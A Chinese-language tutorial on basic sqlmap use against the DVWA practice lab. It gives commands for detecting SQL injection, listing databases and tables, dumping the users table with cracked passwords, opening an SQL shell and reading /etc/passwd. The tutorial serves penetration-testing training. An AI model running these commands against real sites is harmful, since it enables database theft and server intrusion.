首頁 > 軟體

sqlmap 常用姿勢

2021-05-31 22:30:06

sqlmap 是一種開源滲透測試工具,可自動執行檢測和利用 SQL 注入缺陷以及接管資料庫伺服器的過程。它配備了強大的檢測引擎、許多適用於最終滲透測試人員的利基功能,以及廣泛的開關,包括資料庫指紋、從資料庫獲取資料、訪問底層檔案系統以及通過輸出在作業系統上執行命令。

項目地址 https://github.com/sqlmapproject/sqlmap

下載即可使用,需要安裝 python

一些基礎用法

這裡使用常用漏洞靶場 dvwa 作為演示

檢測是否存在注入

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#"

-u 指定要檢測的 url,sqlmap 就會自動檢測嘗試可注入的參數也可以新增 -p 指定參數,這裡為 -p "id"完整命令為

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"

由於 dvwa 需要登入,所以還需要指定 cookie,需要新增 --cookie

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low"

執行,提示 id 存在 sql 注入,並顯示了注入的 payload。

獲取資料庫資訊

上一步得出存在注入,那麼便可以更進一步,獲取更多資訊了。比如獲取該網站當前使用的資料庫名,使用如下命令。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch --current-db

--batch 表示預設全部確定,這樣就不會出現確認提示--current-db 表示獲取當前資料庫名可以看到很快就獲取到了,當前資料庫名為 dvwa

繼續列出所有資料庫。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch --dbs

--dbs 列出所有資料庫一共有兩個資料庫。

獲取表以及表中的資料

獲取到資料庫資訊之後,進一步獲取資料表資訊,以及資料。

列舉指定資料庫中所有的表。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch -D "dvwa" --tables

-D 指定資料庫,後接資料庫名--tables 列出所有表一共獲取到兩張表。

列舉指定表的所有資料。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch -D "dvwa" -T "users" --dump

獲取到 users 表的資料,並且 sqlmap 幫我們自動解密了密碼。

執行 sql 語句以及讀取檔案

我們也可以執行一些自定義的 sql 語句。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --sql-shell

上面語句執行後,將會開啟一個 sql shell,供我們執行 sql 命令。

還可以直接讀取檔案,例如讀取 /etc/passwd。

sqlmap -u "http://192.168.0.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=0q2n2t8jccdulkn6rssl553rg2; security=low" --batch --file-read "/etc/passwd"

--file-read 表示讀取檔案,參數為檔案絕對路徑顯示檔案讀取成功,被儲存到本地。

開啟該檔案即可看到讀取下來的內容。

以上就是 sql 常見用法了。


IT145.com E-mail:sddin#qq.com